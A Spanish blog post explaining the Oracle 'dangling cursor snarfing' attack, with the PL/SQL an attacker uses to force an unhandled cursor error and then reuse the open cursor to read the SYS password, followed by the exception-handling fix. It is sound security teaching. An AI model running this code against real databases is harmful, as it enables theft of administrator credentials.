domingo, enero 24, 2010

Dangling cursor snarfing II

Vamos a analizar el ejemplo concreto de Dangling Cursor Snarfing II que proponía David Litchfield en 2006.

El otro día comenté las líneas generales de un ataque de este tipo. Recordad para el futuro que traduje el título como Snarfing de Cursor Colgado.

El paper original se encuentra en www.databasesecurity.com/dbsec/cursor-snarfing.pdf.

Este procedimiento se crearía por ejemplo con el usuario SYS y se le daría permiso de ejecución al resto de usuarios: Grant Execute on pwd_compare to public;

¿Qué hace el procedimiento?

  • Recibe como parámetro el usuario que lo está ejecutando.
  • Mira si el usuario es diferente que SYS.
  • Abre un Cursor con el paquete DBMS_SQL. Este paquete es un interfaz para utilizar SQL dinámico.
  • Ejecuta la sentencia SQL creada dinámicamente que lo que hace es buscar la password del usuario en la tabla SYS.DBA_USERS.
  • Compara esa password con un string concreto, y si coincide saca un mensaje.
  • Cierra el Cursor.
Pues en esta secuencia existen ya los elementos peligrosos que vimos el otro día para este tipo de ataque:

  1. El procedimiento se ha creado con un usuario privilegiado respecto al que lo ejecuta.
  2. Hay alguna comprobación antes de abrir el Cursor que va a dar guerra.
  3. Se abre un Cursor con SQL dinámico. En la SQL construida se utiliza un parámetro que le pasa el usuario que ejecuta.
  4. No hay captura de excepciones. Si se produce un error el Cursor va a permanecer abierto.

¿Qué puede hacer un usuario malicioso?

Se supone que el usuario (puede ser una aplicación) ejecuta el procedimiento de esta forma:

Ejecución del procedimiento PWD_COMPARE del usuario SYS:

SYS.PWD_COMPARE(X);

El desarrollador piensa que como parámetro del procedimiento (X) le van a pasar el nombre del usuario ejecutante, pero y si hace...

FOR I IN 1..10000 LOOP
X:='B' || X;
END LOOP;
SYS.PWD_COMPARE(X);

O sea, que ha creado un bucle que se va a ejecutar 10.000 veces.
En es bucle va concatenando la letra 'B' a la variable. Así que la cosa terminará con 10.000 B-s:

BBBBBBBBBBBBBBBBBBBBBBBBBB....BBBBBB.....BBBB....

Y pasa como parámetro esas 10.000 letras B.

Como el procedimiento no hace ninguna comprobación de longitud se producirá un error en la ejecución del paquete DBMS_SQL.

Ahora bien, se ha producido una excepción, pero no se ha capturado (para cerrarlo), y el cursor continúa en memoria.

Los cursores tienen como nombre un número entero. El atacante no lo conoce pero puede probar con un bucle probando con el 1, el 2, el 3, etc. Cuando lo encuentre podrá ejecutarlo tal cual, sin pasar por los controles previos del procedimiento original. En este caso particular podrá ejecutarlo indicando que es el usuario SYS. De esta forma obtendría la password del usuario SYS.

CURSOR_NAME:=1 (luego probará con el 2, 3, 4, 5, etc.)
DBMS_SQL.BIND_VARIABLE(CURSOR_NAME, ':u', 'SYS');
DBMS_SQL.DEFINE_COLUMN(CURSOR_NAME, 1, PWD, 30);
I := DBMS_SQL.EXECUTE(CURSOR_NAME);
IF DMBS_SQL.FETCH_ROWS(CURSOR_NAME) > 0 THEN
DBMS_SQL.COLUMN_VALUE(CURSOR_NAME, 1, PWD);
END IF;
DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME);
DBMS_OUTPUT.PUT_LINE('PWD: ' || PWD);

¿Y el antídoto?

Capturar la excepción y cerrar el cursor.

EXCEPTION WHEN OTHERS THEN
IF DBMS_SQL.IS_OPEN(CURSOR_NAME) THEN
DBMS_SQL.CLOSE_CURSOR(CURSOR_NAME);
END IF;

Por supuesto a nivel de aplicación siempre habría que limitar con una longitud máxima los campos que rellenan los usuarios.

Saludos.

No hay comentarios: